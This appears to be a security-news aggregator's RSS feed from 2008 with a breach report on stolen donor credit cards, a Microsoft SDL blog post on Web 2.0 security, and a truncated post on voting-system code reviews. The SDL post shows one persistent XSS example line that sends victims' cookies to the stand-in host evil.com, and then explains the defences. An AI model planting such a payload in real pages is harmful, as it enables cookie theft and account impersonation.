<a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=RZ3SLH"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=RZ3SLH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=kVmJ6h"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=kVmJ6h" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=u6RKCh"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=u6RKCh" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/wired/politics/privacy?a=ZotVrH"><img src="http://feeds.feedburner.com/~f/wired/politics/privacy?i=ZotVrH" border="0"></img></a>
 <a href="http://feeds.wired.com/~f/wired/politics/security?a=eaNyrH"><img src="http://feeds.wired.com/~f/wired/politics/security?i=eaNyrH" border="0"></img></a> <a href="http://feeds.wired.com/~f/wired/politics/security?a=tf8uVh"><img src="http://feeds.wired.com/~f/wired/politics/security?i=tf8uVh" border="0"></img></a> <a href="http://feeds.wired.com/~f/wired/politics/security?a=QWxnGh"><img src="http://feeds.wired.com/~f/wired/politics/security?i=QWxnGh" border="0"></img></a> <a href="http://feeds.wired.com/~f/wired/politics/security?a=MqAv8H"><img src="http://feeds.wired.com/~f/wired/politics/security?i=MqAv8H" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/wired/politics/privacy/~4/300217736" height="1" width="1"/><img src="http://feeds.wired.com/~r/wired/politics/security/~4/300217738" height="1" width="1"/>]]></content:encoded>
      <pubDate>Wed, 28 May 2008 21:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/fax">fax</category>
      <category domain="http://securityratty.com/tag/fax communications">fax communications</category>
      <category domain="http://securityratty.com/tag/fax insecurity">fax insecurity</category>
      <category domain="http://securityratty.com/tag/insecurity">insecurity</category>
      <category domain="http://securityratty.com/tag/fax machines">fax machines</category>
      <category domain="http://securityratty.com/tag/fax message">fax message</category>
      <category domain="http://securityratty.com/tag/treat fax signatures">treat fax signatures</category>
      <category domain="http://securityratty.com/tag/fax document">fax document</category>
      <category domain="http://securityratty.com/tag/document">document</category>
      <source url="http://feeds.wired.com/~r/wired/politics/security/~3/300217738/securitymatters_0529">Why Do We Accept Signatures by Fax?</source>
    </item>
    <item>
      <title><![CDATA[Catalina Conservancy Divers donors are warned]]></title>
      <link>http://securityratty.com/article/31ae26c705d39decf66cfee8c2d3c7b2</link>
      <guid>http://securityratty.com/article/31ae26c705d39decf66cfee8c2d3c7b2</guid>
      <description><![CDATA[Technorati Tag: Security Breach

Date Reported
3/14/08

Organization
Catalina Conservancy Divers

Contractor/Consultant/Branch
None

Victims
Donors

Number Affected
816

Types of Data
Donor...]]></description>
      <content:encoded><![CDATA[Technorati Tag: <a href="http://technorati.com/tag/security+breach" rel="tag">Security Breach</a><br><br>
<img src="http://breachblog.com/images/95781-88451/catalina.jpg" align="right" height="106" width="114"><font size="2"><span style="font-weight: bold;">Date Reported: </span><br>3/14/08<br><br><span style="font-weight: bold;">Organization: </span><br><a href="http://www.ccd.org/index.html">Catalina Conservancy Divers</a> <br><br><span style="font-weight: bold;">Contractor/Consultant/Branch:</span><br>None<br><br><span style="font-weight: bold;">Victims:</span><br>Donors<br><br><span style="font-weight: bold;">Number Affected:</span><br>816<br><br><span style="font-weight: bold;">Types of Data:</span><br>Donor information including credit card numbers, expiration dates and possibly CVV2 codes.<br><br><span style="font-weight: bold;">Breach Description:</span><br>"Hammonds, 36, was able to obtain the names and credit card numbers of hundreds of victims when they made online donations to the Catalina Conservancy Divers site he was hired to develop in 2005, police said. He then used the information he obtained through the site, <a href="http://www.ccd.org,">www.ccd.org,</a> to make online purchases and pay for personal items."<br><br><span style="font-weight: bold;">Reference URL:</span><br><a href="http://www.nbpd.org/civica/press/display.asp?layout=12&amp;Entry=187">The Newport Beach Police Department News Release</a> <br><a href="http://www.dailypilot.com/articles/2008/03/15/publicsafety/dpt-hammonds031508.txt">The Daily Pilot</a> <br><a href="http://www.ocregister.com/news/catalina-conservancy-hammonds-1999540-newport-credit">The Orange County Register</a> <br><br><span style="font-weight: bold;">Report Credit:</span><br>Joseph Sema, The Daily Pilot<br><br><span style="font-weight: bold;">Response:</span><br>From the online sources cited above:<br><br>On February 13, 2008, Newport Beach Police Detectives arrested Trevor Hammonds for 484G PC – Illegal Use of a Credit Card.&nbsp; Detectives had learned that Hammonds was renting an apartment in Newport Beach through fraudulent means.&nbsp; He was paying his rent by providing valid credit card account numbers of unsuspecting victims as payment.&nbsp; Since his arrest, Detectives have been attempting to discover where and how Hammonds obtained his victim’s personal credit information.<br><br>Detectives recently discovered that Hammonds had created a website for the “Catalina Conservancy Divers” Avalon Harbor Cleanup, <a href="http://www.catalinaconservancy.org">www.catalinaconservancy.org</a> in 2005.&nbsp; Through 2005 and 2006, Hammonds was able to obtain unsuspecting victim’s names and credit card numbers when they made online donations to the Conservancy. <br><br>Since that time, he has been using victim’s names and valid credit card account information to make online purchases and pay for personal items.&nbsp; Detectives have identified a total of 816 possible victim credit profiles in the possession of Hammonds. <br><br>In 2005, the Catalina Conservancy group did not have a website capable of receiving electronic donations, conservancy spokeswoman Leslie Baer said. Many of its loosely organized support groups, such as the Catalina Conservancy Divers that would clean up Avalon Harbor, set up their own websites to accept donations.<br><br>Hammonds is currently being housed at the Orange County Jail in lieu of $100,000 bail.&nbsp; The Catalina Conservancy Divers is a victim of Hammonds scheme and is not involved in any manner.<br><br>If you registered to this site and/or made an online donation to the Catalina Conservancy Divers during 2005 or 2006, please check your credit profile and account records.<br><br>The Catalina Conservancy Divers no longer accepts online donations<br><span style="font-style: italic;">[Evan] This is sad not only for the individual victims, but Catalina Conservancy also.&nbsp; Online donations should be a viable option, but now it viewed so.</span><br><br>If you believe you have been the victim of a crime, please notify your bank immediately to close your account(s) and prevent any further crimes from occurring. <br><br>In addition, contact the Newport Beach Police Department in order to report your crime.&nbsp; This can be done by contacting Investigator Bob Watts at (800) 550-NBPD or (949) 644-3799.<br><br><span style="font-weight: bold;">Commentary:</span><br>I am impressed with how the Newport Beach Police Department has handled this investigation, at least from what I read.&nbsp; I very much like Sergeant Evan Sailor's remarks to the press and the decision to publish a public press release.<br><br>Employee fraud can be a very difficult crime to protect against and pose a very high risk to organizations.&nbsp; As long as we have bad apples in the bushel, we will have a certain amount of fraud.&nbsp; Not that we should throw up our hands and give up though!&nbsp; This article "<a href="http://www.allbusiness.com/human-resources/workplace-health-safety-security/3935-1.html">Eight Tips to Prevent Employee Theft and Fraud</a>" is a pretty good read. <br><br><span style="font-weight: bold;">Past Breaches:</span><br>Unknown</font><br><br>
<script src="http://feeds.feedburner.com/%7Es/breachblog?i=http://breachblog.com/2008/03/17/catalina.aspx" type="text/javascript" charset="utf-8"></script>]]></content:encoded>
      <pubDate>Mon, 17 Mar 2008 10:32:50 +0000</pubDate>
      <category domain="http://securityratty.com/tag/catalina conservancy">catalina conservancy</category>
      <category domain="http://securityratty.com/tag/conservancy">conservancy</category>
      <category domain="http://securityratty.com/tag/catalina conservancy divers">catalina conservancy divers</category>
      <category domain="http://securityratty.com/tag/hammonds">hammonds</category>
      <category domain="http://securityratty.com/tag/trevor hammonds">trevor hammonds</category>
      <category domain="http://securityratty.com/tag/victims names">victims names</category>
      <category domain="http://securityratty.com/tag/names">names</category>
      <category domain="http://securityratty.com/tag/victims">victims</category>
      <category domain="http://securityratty.com/tag/online donations">online donations</category>
      <source url="http://breachblog.com/2008/03/17/catalina.aspx">Catalina Conservancy Divers donors are warned</source>
    </item>
    <item>
      <title><![CDATA[SDL and Web 2.0]]></title>
      <link>http://securityratty.com/article/51d7b41dd699616b271e22ad2dc04c10</link>
      <guid>http://securityratty.com/article/51d7b41dd699616b271e22ad2dc04c10</guid>
      <description><![CDATA[Hi everyone, Bryan Sullivan here
Unless youve been living in an ice cave on the polar cap for the last month, youve heard about Microsofts proposed acquisition of Yahoo. George Hulme of...]]></description>
      <content:encoded><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3></FONT>&nbsp;</P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Hi everyone, Bryan Sullivan here.&nbsp;</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Unless you’ve been living in an ice cave on the polar cap for the last month, you’ve heard about Microsoft’s proposed acquisition of Yahoo. George Hulme of InformationWeek wrote a very insightful </FONT><A href="http://www.informationweek.com/blog/main/archives/2008/02/web_20_security.html" mce_href="http://www.informationweek.com/blog/main/archives/2008/02/web_20_security.html"><FONT face=Calibri color=#0000ff size=3>column</FONT></A><FONT face=Calibri size=3> about the </FONT><A style="mso-comment-reference: BJS_1; mso-comment-date: 20080218T1703"><FONT face=Calibri size=3>proposed</FONT></A><FONT face=Calibri size=3> acquisition and what it would mean for Yahoo’s Web 2.0 properties. My favorite quote from this column (probably my favorite quote from anyone’s column so far this year): “…there’s still much to do in the [software] industry to reach a level of truly sustainable computing. This is perhaps especially true in the nascent area of Web 2.0 development. <B style="mso-bidi-font-weight: normal">Let’s hope Microsoft brings its Trustworthy Computing Initiative, or more precisely its Security Development Lifecycle to Yahoo</B>, should the $45 billion deal come through.” That’s pretty high praise for the SDL, but what exactly does the SDL have to say about Web 2.0 development? To answer this question, let’s take a look at a couple of security issues that affect Web 2.0 applications and then dive into the corresponding SDL requirements.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Many Web 2.0 applications allow their end users to build and contribute to the application. </FONT><FONT face=Calibri size=3>Think about social networking sites like </FONT><A href="http://www.facebook.com/" mce_href="http://www.facebook.com/"><FONT face=Calibri color=#0000ff size=3>Facebook</FONT></A><FONT face=Calibri size=3>, or wikis like </FONT><A href="http://en.wikipedia.org/" mce_href="http://en.wikipedia.org/"><FONT face=Calibri color=#0000ff size=3>Wikipedia</FONT></A><FONT face=Calibri size=3>. The content on sites like these comes directly from the users themselves. (Remember that you were Time Magazine’s Person of the Year in </FONT><A href="http://www.time.com/time/magazine/article/0,9171,1569514,00.html" mce_href="http://www.time.com/time/magazine/article/0,9171,1569514,00.html"><FONT face=Calibri color=#0000ff size=3>2006</FONT></A><FONT face=Calibri size=3> for this very reason!) While this is very empowering for users, it does beg the question: If users can add their own content to a web site, what’s to prevent them from adding malicious content? Consider what would happen if Evil Eve adds the following HTML to a wiki entry:</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri><SPAN lang=DE style="mso-ansi-language: DE">&lt;img src=“http://www.evil.com/eve?“ </SPAN>+ document.cookie/&gt;</FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>If the wiki accepts this content from Eve, then anyone who looks at the wiki entry will have their browser cookie “stolen” and sent to Eve at evil.com. The cookie could potentially contain login credentials or other sensitive information, allowing Eve to impersonate her victim and essentially commit a form of identity theft.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>The attack I’ve shown here is known as a persistent Cross-Site Scripting (XSS) attack, and is the most dangerous form of XSS since it doesn’t require any social engineering like reflective and </FONT><A style="mso-comment-reference: BJS_3; mso-comment-date: 20080218T1706"></A><A href="http://en.wikipedia.org/wiki/Cross-site_scripting#DOM-based" mce_href="http://en.wikipedia.org/wiki/Cross-site_scripting#DOM-based"><SPAN style="mso-comment-continuation: 3"><FONT face=Calibri color=#0000ff size=3>DOM-based</FONT></SPAN></A><SPAN class=MsoCommentReference><SPAN style="FONT-SIZE: 8pt; LINE-HEIGHT: 115%"><SPAN style="mso-special-character: comment"><FONT face=Calibri>&nbsp;</FONT></SPAN></SPAN></SPAN><FONT face=Calibri size=3>XSS attacks do. The victim doesn’t have to do anything unusual – he just has to browse to an infected page, maybe even one he’s been to hundreds of times in the past. And in all likelihood, he’ll never even know he was a victim. The </FONT><A href="http://en.wikipedia.org/wiki/Samy_%28XSS%29" mce_href="http://en.wikipedia.org/wiki/Samy_%28XSS%29"><FONT face=Calibri color=#0000ff size=3>Samy worm</FONT></A><FONT face=Calibri size=3> which infected </FONT><A href="http://www.myspace.com/" mce_href="http://www.myspace.com/"><FONT face=Calibri color=#0000ff size=3>MySpace</FONT></A><FONT face=Calibri size=3> in late 2005 exploited a persistent XSS vulnerability to silently spread through its victims’ profile pages. Within less than a day after its release, Samy had spread to over one million MySpace users, forcing MySpace to completely shut down its site while they diagnosed and fixed the vulnerability.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><SPAN style="mso-spacerun: yes"><FONT face=Calibri size=3>&nbsp;</FONT></SPAN><A style="mso-comment-reference: BJS_4; mso-comment-date: 20080218T1701"><FONT face=Calibri size=3>(As a side note, I’d like to point out that if the developers of the hypothetical wiki in the earlier example had used the </FONT></A><A href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx"><SPAN style="mso-comment-continuation: 4"><FONT face=Calibri color=#0000ff size=3>HttpOnly</FONT></SPAN></A><FONT face=Calibri><SPAN style="mso-comment-continuation: 4"><FONT size=3> attribute for their site cookies, Evil Eve would not have been able to steal those cookies. However, HttpOnly is just a defense-in-depth measure and not a complete solution for the inherent problem of end users being able to write malicious code into the web site.)</FONT></SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Web mashups are another popular component of Web 2.0. JavaScript’s </FONT><A href="http://en.wikipedia.org/wiki/Same_origin_policy" mce_href="http://en.wikipedia.org/wiki/Same_origin_policy"><FONT face=Calibri color=#0000ff size=3>Same Origin Policy</FONT></A><FONT face=Calibri size=3> prevents web developers from writing client-based mashups (that is, mashups that don’t use a server proxy to request data from the individual sites being “mashed” together) in straight DHTML. Some Rich Internet Application (RIA) frameworks, notably Adobe’s </FONT><A href="http://www.adobe.com/products/flash/" mce_href="http://www.adobe.com/products/flash/"><FONT face=Calibri color=#0000ff size=3>Flash</FONT></A><FONT face=Calibri size=3> and Microsoft’s </FONT><A href="http://www.silverlight.net/" mce_href="http://www.silverlight.net/"><FONT face=Calibri color=#0000ff size=3>Silverlight</FONT></A><FONT face=Calibri size=3>, offer mechanisms to bypass the Same Origin Policy. For Flash, this mechanism is an XML file (crossdomain.xml) hosted on the domain root that lists all the external domains that should be granted access to the Flash movie. For example, if you host a Flash movie at www.mysite.com, and want to allow access from www.friendlysite.com, you would create a file www.mysite.com/crossdomain.xml with content as follows:</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT face=Calibri size=3>&lt;cross-domain-policy&gt;</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT size=3><FONT face=Calibri><SPAN style="mso-spacerun: yes">&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>&lt;allow-access-from domain=”www.friendlysite.com”/&gt;</FONT></FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><FONT face=Calibri size=3>&lt;/cross-domain-policy&gt;</FONT></P>
<P class=MsoNoSpacing style="MARGIN: 0in 0in 0pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><FONT face=Calibri size=3>&nbsp;</FONT></o:p></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>So far, so good. However, crossdomain.xml allows not just specific domain names in the allow-access-from element (ie “www.friendlysite.com”) but also wildcards (“*.friendlysite.com”). In fact, it will even allow wildcards that break the </FONT><A href="http://www.cookiecentral.com/faq/#3.3" mce_href="http://www.cookiecentral.com/faq/#3.3"><FONT face=Calibri color=#0000ff size=3>two-dots</FONT></A><FONT face=Calibri size=3> rule like “*.com” or even just “*”. By using </FONT><A style="mso-comment-reference: BJS_5; mso-comment-date: 20080218T1707"><FONT face=Calibri size=3>highly</FONT></A><FONT face=Calibri size=3> permissive access lists like this, a developer is essentially letting anyone on the internet manipulate his objects and data. In an attack very reminiscent of the Samy worm, Chris Shiflett </FONT><A href="http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash" mce_href="http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash"><FONT face=Calibri color=#0000ff size=3>exploited</FONT></A><FONT face=Calibri size=3> an allow-access-from-* entry in </FONT><A href="http://www.flickr.com/" mce_href="http://www.flickr.com/"><FONT face=Calibri color=#0000ff size=3>Flickr</FONT></A><FONT face=Calibri size=3>’s crossdomain.xml file that caused any visitor to Chris’s web site to automatically add Chris to their Flickr friends list. While this may not be the scariest attack you’ve ever heard of, imagine what might happen if a truly malicious user discovers the same vulnerability in the fund</FONT><A style="mso-comment-reference: BJS_6; mso-comment-date: 20080218T1710"><FONT face=Calibri size=3> transfer functionality of a bank’s web site, or the security trading functionality of a brokerage firm’s&nbsp;</FONT></A><FONT face=Calibri size=3>web site.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>So, what does the SDL have to say about these issues? In terms of XSS prevention, the SDL offers a lot of guidance. The SDL requires the use of both input validation (making sure that user input conforms to a known good format – in the case of the wiki entry, to deny HTML and script content) and output encoding (making sure that any active content that gets past the input validation routines is rendered as harmless text and not executed). Internally, we also mandate the use of </FONT><A style="mso-comment-reference: BJS_7; mso-comment-date: 20080218T1716"></A><A href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx" mce_href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx"><SPAN style="mso-comment-continuation: 7"><FONT face=Calibri color=#0000ff size=3>code analysis tools</FONT></SPAN></A><SPAN class=MsoCommentReference><SPAN style="FONT-SIZE: 8pt; LINE-HEIGHT: 115%"><SPAN style="mso-special-character: comment"><FONT face=Calibri>&nbsp;</FONT></SPAN></SPAN></SPAN><FONT face=Calibri size=3>to find XSS vulnerabilities that might otherwise slip through the cracks. This is great advice for anyone developing web applications, whether they’re Web 2.0 or 1.0.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>As for cross-domain policy files, the SDL provides several recommendations. First is a simple attack surface reduction: if a site is not meant to be accessed by foreign domains, then any cross-domain policy files should be removed from the site. Second, if an application offers cross-domain access and also has functionality available only to authenticated users, then this site must not contain overly permissive access lists like “*” or “*.com”. It’s best to list specific domains wherever possible, or at least follow the same two-dots rule that HTTP cookies have to follow for their domain specifications. This helps to limit the sites that can perform request forgery attacks like the Flickr attack mentioned earlier. If no applications anywhere on the site offer special functionality for authenticated users, then the SDL does permit the site to have a broad-reaching cross-domain access list. However, this does require constant oversight to ensure that no authenticated applications are added to the site at a later time. In my opinion, it’s safer just to lock down the list to exactly the sites that are necessary and no more.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Regardless of what happens between Microsoft and Yahoo, I agree with George that adoption of the SDL would benefit Yahoo’s Web 2.0 applications. In fact, I’ll take it a step further and state that adoption of the SDL would benefit anyone’s Web 2.0 applications. In my next SDL blog post, I’ll be addressing the trickiest aspect of implementing the SDL for Web 2.0: developing the “perpetual beta”.</FONT></P><img src="http://blogs.msdn.com/aggbug.aspx?PostID=7937889" width="1" height="1">]]></content:encoded>
      <pubDate>Thu, 28 Feb 2008 19:26:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/web">web</category>
      <category domain="http://securityratty.com/tag/site">site</category>
      <category domain="http://securityratty.com/tag/chriss web site">chriss web site</category>
      <category domain="http://securityratty.com/tag/mashups">mashups</category>
      <category domain="http://securityratty.com/tag/web mashups">web mashups</category>
      <category domain="http://securityratty.com/tag/site cookies">site cookies</category>
      <category domain="http://securityratty.com/tag/persistent cross-site">persistent cross-site</category>
      <category domain="http://securityratty.com/tag/cookies">cookies</category>
      <category domain="http://securityratty.com/tag/benefit anyones web">benefit anyones web</category>
      <source url="http://blogs.msdn.com/sdl/archive/2008/02/28/sdl-and-web-2-0.aspx">SDL and Web 2.0</source>
    </item>
    <item>
      <title><![CDATA[More trustworthy election systems via SDL?]]></title>
      <link>http://securityratty.com/article/866587460674cd492103d30bf6cdbe4f</link>
      <guid>http://securityratty.com/article/866587460674cd492103d30bf6cdbe4f</guid>
      <description><![CDATA[Hi folks, Eric Bidstrup here
We interrupt our regular schedule of blog postings to offer this special post for Super Tuesday given the subject matter. Hope you enjoy
This year is a presidential...]]></description>
      <content:encoded><![CDATA[<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Hi folks, Eric Bidstrup here.<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>We interrupt our regular schedule of blog postings to offer this special post for “</FONT><A href="http://en.wikipedia.org/wiki/Super_Tuesday" mce_href="http://en.wikipedia.org/wiki/Super_Tuesday"><FONT face=Calibri size=3>Super Tuesday</FONT></A><FONT size=3><FONT face=Calibri>” given the subject matter. Hope you enjoy…<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>This year is a presidential election year in the United States. Selecting a new president is perhaps the ultimate example of the importance of having a trustworthy election process. There have been some well chronicled examples of elections with extremely close results, where the winner’s margin of victory was perhaps smaller than the election system’s margin of error. The term “</FONT><A href="http://en.wikipedia.org/wiki/Hanging_chad" mce_href="http://en.wikipedia.org/wiki/Hanging_chad"><FONT face=Calibri size=3>Hanging Chads</FONT></A><FONT face=Calibri size=3>,” from the </FONT><A href="http://en.wikipedia.org/wiki/United_States_presidential_election%2C_2000" mce_href="http://en.wikipedia.org/wiki/United_States_presidential_election%2C_2000"><FONT face=Calibri size=3>2000 U.S Presidential election</FONT></A><FONT face=Calibri size=3>, is now part of the American vocabulary, and locally here in Washington State our </FONT><A href="http://en.wikipedia.org/wiki/Washington_gubernatorial_election%2C_2004" mce_href="http://en.wikipedia.org/wiki/Washington_gubernatorial_election%2C_2004"><FONT face=Calibri size=3>last gubernatorial election in 2004</FONT></A><FONT size=3><FONT face=Calibri> required 3 recounts with the final winner being determined by a margin of only 129 votes, or 0.0045% of the popular vote. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>The populace demands confidence that, even in close elections, the election result accurately reflects the voters’ intent. In theory, such precision can be improved by using computers and technology. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>However, it seems that every recent election season brings stories in the media about security concerns regarding voting machine (and their software) security. A recent </FONT><A href="http://www.nytimes.com/2008/01/06/magazine/06Vote-t.html?_r=2&amp;oref=slogin&amp;oref=slogin" mce_href="http://www.nytimes.com/2008/01/06/magazine/06Vote-t.html?_r=2&amp;oref=slogin&amp;oref=slogin"><FONT face=Calibri size=3>New York Times article</FONT></A><FONT face=Calibri size=3> provides a good overview of voting machine security concerns; and academic studies on voting systems last year in </FONT><A href="http://www.sos.ca.gov/elections/elections_vsr.htm" mce_href="http://www.sos.ca.gov/elections/elections_vsr.htm"><FONT face=Calibri size=3>California</FONT></A><FONT face=Calibri size=3>, </FONT><A href="http://voter.engr.uconn.edu/voter/Reports.html" mce_href="http://voter.engr.uconn.edu/voter/Reports.html"><FONT face=Calibri size=3>Connecticut</FONT></A><FONT face=Calibri size=3>, </FONT><A href="http://www.sait.fsu.edu/news/2007-03-05-essr.shtml" mce_href="http://www.sait.fsu.edu/news/2007-03-05-essr.shtml"><FONT face=Calibri size=3>Florida</FONT></A><FONT face=Calibri size=3>, and </FONT><A href="http://www.crypto.com/blog/ohio_voting/" mce_href="http://www.crypto.com/blog/ohio_voting/"><FONT face=Calibri size=3>Ohio</FONT></A><FONT size=3><FONT face=Calibri> <SPAN style="mso-spacerun: yes">&nbsp;</SPAN>provide some interesting insights about security concerns and vulnerabilities in voting systems from several vendors. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>These analyses are fascinating to us, because they offer an opportunity to see how a set of experts look at products other than ours.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>Applied security researchers often analyze our products, and often share their processes and tools with us, but it’s rare to see a top-to-bottom product review released.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>In California, there was both white and black box testing done by different teams, and we’ve studied these reports to see the perceptions of development practices from other vendors and results of a different type of review process.<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Something my colleagues and I find very interesting is that many of the vulnerabilities noted in these reports could have been prevented by following the requirements in Microsoft’s Security Development Lifecycle. The studies performed in California (prepared at UC Berkeley but created by teams of academics from across the United States) included detailed source code analysis. I’ll select out a few examples from those studies and describe them here. (Note: I’m deliberately picking a few examples from each vendor assessed in the study. I am not attempting to criticize any specific vendor, but rather am trying to illustrate examples of areas where application of the SDL could help contribute towards society’s need for trustworthy computing in a very visible and important application.) <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Let’s start with the </FONT><A href="http://www.sos.ca.gov/elections/voting_systems/ttbr/sequoia-source-public-jul26.pdf" mce_href="http://www.sos.ca.gov/elections/voting_systems/ttbr/sequoia-source-public-jul26.pdf"><FONT face=Calibri size=3>Source Code Review of the Sequoia Voting System</FONT></A><FONT size=3><FONT face=Calibri>. Two examples from the executive summary are interesting:<o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt 0.5in"><FONT face=Calibri><B style="mso-bidi-font-weight: normal"><SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 115%">“<I style="mso-bidi-font-style: normal">Cryptography</I></SPAN></B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 115%">. …Many cryptographic functions are implemented incorrectly, based on weak algorithms with known flaws, or used in an ineffective or insecure manner. Of particular concern is the fact that virtually all cryptographic key material is permanently hardcoded in the system (and is apparently identical in all Sequoia hardware shipped to different jurisdictions)…<o:p></o:p></SPAN></I></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt 0.5in"><FONT face=Calibri><B style="mso-bidi-font-weight: normal"><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 115%">Software Engineering</SPAN></I></B><I style="mso-bidi-font-style: normal"><SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 115%">. …The software suffers from numerous programming errors, many of which have a high potential to introduce or exacerbate security weaknesses. These include buffer overflows, format string vulnerabilities, and type mismatch errors….</SPAN></I><SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 115%">”<o:p></o:p></SPAN></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>A deeper reading of the cryptographic concerns (page 29 in report) notes concerns (amongst others) over the use of a flawed implementation of the SHA hash algorithm and use of the Data Encryption Standard (DES) algorithm. The SDL has specific policies outlining appropriate selection of cryptographic algorithms. <SPAN style="mso-spacerun: yes">&nbsp;</SPAN>For example, DES is prohibited except for backwards compatibility. SDL also requires that applications use operating system cryptographic functions and libraries. The cryptography team in the operating systems group is supported by world-class cryptographers who carefully scrutinize the implementation of crypto algorithms, and additionally these operating system functions are formally reviewed and certified by the </FONT><A href="http://csrc.nist.gov/groups/STM/cmvp/" mce_href="http://csrc.nist.gov/groups/STM/cmvp/"><FONT face=Calibri size=3>National Institute of Standards and Technology (NIST) Cryptographic Module Validation Program (CMVP) who validates cryptographic modules meet Federal Information Processing Standards (FIPS)</FONT></A><FONT size=3><FONT face=Calibri>. Most application developers are not cryptographers and hence are unlikely to encode crypto algorithms correctly. The SDL requires the use of standard crypto functions and outlines requirements on algorithm selection, key length and key management. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Moving to the software engineering concerns; while several common coding and design concerns are noted (e.g. input validation) I want to select one with a bit more subtlety: running code from USB sticks (page 37 in report). From the report, it appears the code present on the USB sticks is used to program a component (HAAT) of their client (WinEDS) to prepare for a specific election.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>The valid concern noted by the study is that USB sticks used by WinEDS to configure the HAAT are implicitly trusted to have appropriate authorization to program the voting devices for an election, and that a formal authorization framework didn’t appear to be present. The implication being (as stated in the report): “<I style="mso-bidi-font-style: normal">If such a stick is used in a HAAT that has been compromised by an attacker, or an attacker can provide a maliciously modified USB stick in place of a legitimate one, the attacker could surreptitiously take complete control over the WinEDS client</I>”. Basically, this is a potential “</FONT><A href="http://en.wikipedia.org/wiki/Rootkit" mce_href="http://en.wikipedia.org/wiki/Rootkit"><FONT face=Calibri size=3>rootkit</FONT></A><FONT size=3><FONT face=Calibri>” for election systems. A threat model, a fundamental design requirement of the SDL, could help uncover such design issues and illustrate the need for mitigations. <o:p></o:p></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Now, let’s turn to the </FONT><A href="http://www.sos.ca.gov/elections/voting_systems/ttbr/Hart-source-public.pdf" mce_href="http://www.sos.ca.gov/elections/voting_systems/ttbr/Hart-source-public.pdf"><FONT face=Calibri color=#0000ff size=3>Source Code Review of the Hart InterCivic Voting System</FONT></A><FONT size=3><FONT face=Calibri>. I’ll try to keep my commentary balanced by selecting two examples here as well:<o:p></o:p></FONT></FONT></P>
